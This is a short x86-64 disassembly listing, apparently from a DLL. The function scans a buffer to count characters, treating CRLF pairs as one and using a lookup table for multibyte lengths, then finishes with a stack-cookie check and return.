test eax, eax
je 0x1800557d3
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.1800565e8
test rax, rax
js 0x1800557d3
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x1800557d3
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x1800557c5
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x1800557c5
cmp byte [rcx], 0xd
jne 0x1800557ab
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x1800557ba
cmp byte [rcx + 1], 0xa
jne 0x1800557ba
inc rcx
jmp 0x1800557ba
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x7e460]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x18005578d
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x1800557d7
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.180038f20
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret